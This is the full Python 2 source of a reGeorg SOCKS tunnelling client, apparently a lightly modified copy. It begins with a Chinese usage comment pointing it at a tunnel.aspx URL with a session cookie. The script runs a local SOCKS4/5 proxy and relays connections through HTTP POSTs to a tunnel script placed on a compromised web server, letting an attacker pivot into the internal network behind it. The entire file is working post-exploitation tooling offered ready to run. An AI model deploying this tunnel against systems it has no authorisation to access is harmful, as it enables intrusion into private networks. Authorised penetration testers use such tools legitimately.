# 保存为 re.py ,然后 re.py -u http://xx.com/tunnel.aspx -p 8080 -s "PHPSESSIONID: xxxxxxxxxxxxxxxxxx" #!/usr/bin/env python # -*- coding: utf-8 -*- import logging import argparse import signal import sys import atexit import httplib import urllib3 from threading import Thread from urlparse import urlparse from socket import * from threading import Thread from time import sleep import re import random #import struct # Constants SOCKTIMEOUT = 5 RESENDTIMEOUT=300 VER="\x05" METHOD="\x00" SUCCESS="\x00" SOCKFAIL="\x01" NETWORKFAIL="\x02" HOSTFAIL="\x04" REFUSED="\x05" TTLEXPIRED="\x06" UNSUPPORTCMD="\x07" ADDRTYPEUNSPPORT="\x08" UNASSIGNED="\x09" BASICCHECKSTRING = "Georg says, 'All seems fine'" # Globals READBUFSIZE = 1024 #Logging RESET_SEQ = "\033[0m" COLOR_SEQ = "\033[1;%dm" BOLD_SEQ = "\033[1m" BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8) LEVEL = {"INFO" : logging.INFO, "DEBUG" : logging.DEBUG, } logLevel = "INFO" COLORS = { 'WARNING' : YELLOW, 'INFO' : WHITE, 'DEBUG' : BLUE, 'CRITICAL' : YELLOW, 'ERROR' : RED, 'RED' : RED, 'GREEN' : GREEN, 'YELLOW' : YELLOW, 'BLUE' : BLUE, 'MAGENTA' : MAGENTA, 'CYAN' : CYAN, 'WHITE' : WHITE, } def formatter_message(message, use_color = True): if use_color: message = message.replace("$RESET", RESET_SEQ).replace("$BOLD", BOLD_SEQ) else: message = message.replace("$RESET", "").replace("$BOLD", "") return message class ColoredFormatter(logging.Formatter): def __init__(self, msg, use_color = True): logging.Formatter.__init__(self, msg) self.use_color = use_color def format(self, record): levelname = record.levelname if self.use_color and levelname in COLORS: levelname_color = COLOR_SEQ % (30 + COLORS[levelname]) + levelname + RESET_SEQ record.levelname = levelname_color return logging.Formatter.format(self, record) class ColoredLogger(logging.Logger): def __init__(self, name): FORMAT = "[$BOLD%(levelname)-18s$RESET] %(message)s" COLOR_FORMAT = formatter_message(FORMAT, True) logging.Logger.__init__(self, name, logLevel) if (name == "transfer"): COLOR_FORMAT = "\x1b[80D\x1b[1A\x1b[K%s" % COLOR_FORMAT color_formatter = ColoredFormatter(COLOR_FORMAT) console = logging.StreamHandler() console.setFormatter(color_formatter) self.addHandler(console) return logging.setLoggerClass(ColoredLogger) log = logging.getLogger(__name__) transferLog = logging.getLogger("transfer") class SocksCmdNotImplemented(Exception): pass class SocksProtocolNotImplemented(Exception): pass class RemoteConnectionFailed(Exception): pass class session(Thread): def __init__(self,pSocket,connectString,cookies): Thread.__init__(self) self.pSocket = pSocket self.connectString = connectString o = urlparse(connectString) try: self.httpPort = o.port except: if o.scheme == "https": self.httpPort = 443 else: self.httpPort = 80 self.httpScheme = o.scheme self.httpHost = o.netloc.split(":")[0] self.httpPath = o.path self.cookieDic = {} self.cookie = None self.bSingleSessionMode = False if o.scheme == "http": self.httpScheme = urllib3.HTTPConnectionPool else: self.httpScheme = urllib3.HTTPSConnectionPool if cookies: self.bSingleSessionMode = True self.socketID = self.reqRand() for cookie in cookies.split(';'): kv = cookie.strip().split('=') self.cookieDic[kv[0]] = kv[1] def parseSocks5(self,sock): log.debug("SocksVersion5 detected") nmethods,methods=(sock.recv(1),sock.recv(1)) sock.sendall(VER+METHOD) ver=sock.recv(1) if ver=="\x02": # this is a hack for proxychains ver,cmd,rsv,atyp=(sock.recv(1),sock.recv(1),sock.recv(1),sock.recv(1)) else: cmd,rsv,atyp=(sock.recv(1),sock.recv(1),sock.recv(1)) target = None targetPort = None if atyp=="\x01":# IPv4 # Reading 6 bytes for the IP and Port target = sock.recv(4) targetPort = sock.recv(2) target =".".join([str(ord(i)) for i in target]) elif atyp=="\x03":# Hostname targetLen = ord(sock.recv(1)) # hostname length (1 byte) target = sock.recv(targetLen) targetPort = sock.recv(2) target = "".join([unichr(ord(i)) for i in target]) elif atyp=="\x04":# IPv6 target = sock.recv(16) targetPort = sock.recv(2) tmp_addr=[] for i in xrange(len(target)/2): tmp_addr.append(unichr(ord(target[2*i])*256+ord(target[2*i+1]))) target=":".join(tmp_addr) targetPort = ord(targetPort[0])*256+ord(targetPort[1]) if cmd=="\x02":#BIND raise SocksCmdNotImplemented("Socks5 - BIND not implemented") elif cmd=="\x03":#UDP raise SocksCmdNotImplemented("Socks5 - UDP not implemented") elif cmd=="\x01":#CONNECT serverIp = target try: serverIp = gethostbyname(target) except: log.error("oeps") serverIp="".join([chr(int(i)) for i in serverIp.split(".")]) self.cookie = self.setupRemoteSession(target,targetPort) if self.cookie: sock.sendall(VER+SUCCESS+"\x00"+"\x01"+serverIp+chr(targetPort/256)+chr(targetPort%256)) return True else: sock.sendall(VER+REFUSED+"\x00"+"\x01"+serverIp+chr(targetPort/256)+chr(targetPort%256)) raise RemoteConnectionFailed("[%s:%d] Remote failed" %(target,targetPort)) raise SocksCmdNotImplemented("Socks5 - Unknown CMD") def parseSocks4(self,sock): log.debug("SocksVersion4 detected") cmd=sock.recv(1) if cmd == "\x01": # Connect targetPort = sock.recv(2) targetPort = ord(targetPort[0])*256+ord(targetPort[1]) target = sock.recv(4) sock.recv(1) target =".".join([str(ord(i)) for i in target]) serverIp = target try: serverIp = gethostbyname(target) except: log.error("oeps") serverIp="".join([chr(int(i)) for i in serverIp.split(".")]) self.cookie = self.setupRemoteSession(target,targetPort) if self.cookie: sock.sendall(chr(0)+chr(90)+serverIp+chr(targetPort/256)+chr(targetPort%256)) return True else: sock.sendall("\x00"+"\x91"+serverIp+chr(targetPort/256)+chr(targetPort%256)) raise RemoteConnectionFailed("Remote connection failed") else: raise SocksProtocolNotImplemented("Socks4 - Command [%d] Not implemented" % ord(cmd)) def handleSocks(self,sock): # This is where we setup the socks connection ver = sock.recv(1) if ver == "\x05": return self.parseSocks5(sock) elif ver == "\x04": return self.parseSocks4(sock) def cookiesFilter(self,cookie): newcookies = [] if cookie: for x in cookie.split(','): if ';' in x: match = re.findall('((.+?)=(.+?));(\sdomain=(.+);)?',x.strip()) if match: if match[0][4] == self.httpHost or match[0][4] == '': self.cookieDic[match[0][1]] = match[0][2] else: self.cookieDic[x.split('=')[0]] = x.split('=')[1] for k in self.cookieDic.keys(): newcookies.append(k + '=' + self.cookieDic[k]) return '; '.join(newcookies) def reqRand(self): return ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba',10)) def setupRemoteSession(self,target,port): headers = {"X-CMD": "CONNECT", "X-TARGET": target, "X-PORT": port} self.target = target self.port = port if self.bSingleSessionMode: cookie = self.cookiesFilter(None) headers['Cookie'] = cookie headers['socketID'] = self.socketID conns = self.connectString+"?cmd=connect&target={}&port={}&socketID={}".format(target,port,self.socketID) else: conns = self.connectString+"?cmd=connect&target={}&port={}".format(target,port) cookie = None conn = self.httpScheme(host=self.httpHost, port=self.httpPort) #response = conn.request("POST", self.httpPath, params, headers) response = conn.urlopen('POST', conns, headers=headers, body="") if response.status == 200: status = response.getheader("x-status") if status == "OK": cookie = response.getheader("set-cookie") log.info("[%s:%d] HTTP [200]: cookie [%s]" % (self.target,self.port,cookie)) else: if response.getheader("X-ERROR") != None: log.error(response.getheader("X-ERROR")) else: log.error("[%s:%d] HTTP [%d]: [%s]" % (self.target,self.port,response.status,response.getheader("X-ERROR"))) log.error("[%s:%d] RemoteError: %s" % (self.target,self.port,response.data)) conn.close() return self.cookiesFilter(cookie) def closeRemoteSession(self): headers = {"X-CMD": "DISCONNECT", "Cookie":self.cookie} if self.bSingleSessionMode: headers['socketID'] = self.socketID conns = self.httpPath+"?cmd=disconnect&socketID={}".format(self.socketID) else: conns = self.httpPath+"?cmd=disconnect" params="" conn = self.httpScheme(host=self.httpHost, port=self.httpPort) response = conn.request("POST", conns, params, headers) if response.status == 200: log.info("[%s:%d] Connection Terminated" % (self.target,self.port)) conn.close() def reader(self): conn = urllib3.PoolManager() while True: try: if not self.pSocket: break data ="" headers = {"X-CMD": "READ", "Cookie": self.cookie, "Connection": "Keep-Alive"} if self.bSingleSessionMode: headers['socketID'] = self.socketID conns = self.connectString+"?cmd=read&socketID={}".format(self.socketID) else: conns = self.connectString+"?cmd=read" response = conn.urlopen('POST', conns, headers=headers, body="") data = None if response.status == 200: status = response.getheader("x-status") if status == "OK": if response.getheader("set-cookie") != None: self.cookie = self.cookiesFilter(response.getheader("set-cookie")) data = response.data # Yes I know this is horrible, but its a quick fix to issues with tomcat 5.x bugs that have been reported, will find a propper fix laters try: if response.getheader("server").find("Apache-Coyote/1.1") > 0: data = data[:len(data)-1] except: pass if data == None: data="" else: data = None log.error("[%s:%d] HTTP [%d]: Status: [%s]: Message [%s] Shutting down" % (self.target,self.port,response.status,status,response.getheader("X-ERROR"))) else: log.error("[%s:%d] HTTP [%d]: Shutting down" % (self.target,self.port,response.status)) if data == None: # Remote socket closed break if len(data) == 0: sleep(0.1) continue transferLog.info("[%s:%d] <<<< [%d]" % (self.target,self.port,len(data))) self.pSocket.send(data) except Exception,ex: raise ex self.closeRemoteSession() log.debug("[%s:%d] Closing localsocket" % (self.target,self.port)) try: self.pSocket.close() except: log.debug("[%s:%d] Localsocket already closed" % (self.target,self.port)) def writer(self): global READBUFSIZE conn = urllib3.PoolManager() while True: try: self.pSocket.settimeout(1) data = self.pSocket.recv(READBUFSIZE) if not data: break headers = {"X-CMD": "FORWARD", "Cookie": self.cookie,"Content-Type": "application/octet-stream", "Connection":"Keep-Alive"} if self.bSingleSessionMode: headers['socketID'] = self.socketID conns = self.connectString+"?cmd=forward&socketID={}".format(self.socketID) else: conns = self.connectString+"?cmd=forward" response = conn.urlopen('POST', conns, headers=headers, body=data) if response.status == 200: status = response.getheader("x-status") if status == "OK": if response.getheader("set-cookie") != None: self.cookie = self.cookiesFilter(response.getheader("set-cookie")) else: log.error("[%s:%d] HTTP [%d]: Status: [%s]: Message [%s] Shutting down" % (self.target,self.port,response.status,status,response.getheader("x-error"))) break else: log.error("[%s:%d] HTTP [%d]: Shutting down" % (self.target,self.port,response.status)) break transferLog.info("[%s:%d] >>>> [%d]" % (self.target,self.port,len(data))) except timeout: continue except Exception,ex: raise ex break self.closeRemoteSession() log.debug("Closing localsocket") try: self.pSocket.close() except: log.debug("Localsocket already closed") def run(self): try: if self.handleSocks(self.pSocket): log.debug("Staring reader") r = Thread(target=self.reader, args=()) r.start() log.debug("Staring writer") w = Thread(target=self.writer, args=()) w.start() r.join() w.join() except SocksCmdNotImplemented, si: log.error(si.message) self.pSocket.close() except SocksProtocolNotImplemented, spi: log.error(spi.message) self.pSocket.close() except Exception, e: log.error(e.message) self.pSocket.close() def askGeorg(connectString, cookies): headers = {} if cookies: headers = {'Cookie': cookies} connectString = connectString o = urlparse(connectString) try: httpPort = o.port except: if o.scheme == "https": httpPort = 443 else: httpPort = 80 httpScheme = o.scheme httpHost = o.netloc.split(":")[0] httpPath = o.path if o.scheme == "http": httpScheme = urllib3.HTTPConnectionPool else: httpScheme = urllib3.HTTPSConnectionPool conn = httpScheme(host=httpHost, port=httpPort, headers=headers) response = conn.request("GET", httpPath) if response.status == 200: if BASICCHECKSTRING == response.data.strip()[:len(BASICCHECKSTRING)]: log.info(BASICCHECKSTRING) return True conn.close() return False if __name__ == '__main__': print """\033[1m \033[1;33m _____ _____ ______ __|___ |__ ______ _____ _____ ______ | | | ___|| ___| || ___|/ \| | | ___| | \ | ___|| | | || ___|| || \ | | | |__|\__\|______||______| __||______|\_____/|__|\__\|______| |_____| ... every office needs a tool like Georg willem@sensepost.com / @_w_m__ sam@sensepost.com / @trowalts etienne@sensepost.com / @kamp_staaldraad \033[0m """ log.setLevel(logging.DEBUG) parser = argparse.ArgumentParser(description='Socks server for reGeorg HTTP(s) tunneller') parser.add_argument("-l","--listen-on",metavar="",help="The default listening address",default="127.0.0.1") parser.add_argument("-p","--listen-port",metavar="",help="The default listening port",type=int,default="8888") parser.add_argument("-r","--read-buff",metavar="",help="Local read buffer, max data to be sent per POST",type=int,default="1024") parser.add_argument("-u","--url",metavar="",required=True,help="The url containing the tunnel script") parser.add_argument("-v","--verbose",metavar="",help="Verbose output[INFO|DEBUG]",default="INFO") parser.add_argument("-s","--single-session-mode",metavar="",help="Single session mode.[Cookie0=0; Cookie1=1]",default=None) args = parser.parse_args() if (LEVEL.has_key(args.verbose)): log.setLevel(LEVEL[args.verbose]) log.info("Log Level set to [%s]" % args.verbose) log.info("Starting socks server [%s:%d], tunnel at [%s]" % (args.listen_on,args.listen_port,args.url)) log.info("Checking if Georg is ready") if not askGeorg(args.url, args.single_session_mode): log.info("Georg is not ready, please check url") exit() READBUFSIZE = args.read_buff servSock = socket(AF_INET,SOCK_STREAM) servSock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) servSock.bind((args.listen_on,args.listen_port)) servSock.listen(1000) while True: try: sock,addr_info=servSock.accept() sock.settimeout(SOCKTIMEOUT) log.debug("Incomming connection") session(sock,args.url,args.single_session_mode).start() except KeyboardInterrupt,ex: break except Exception,e: log.error(e) servSock.close()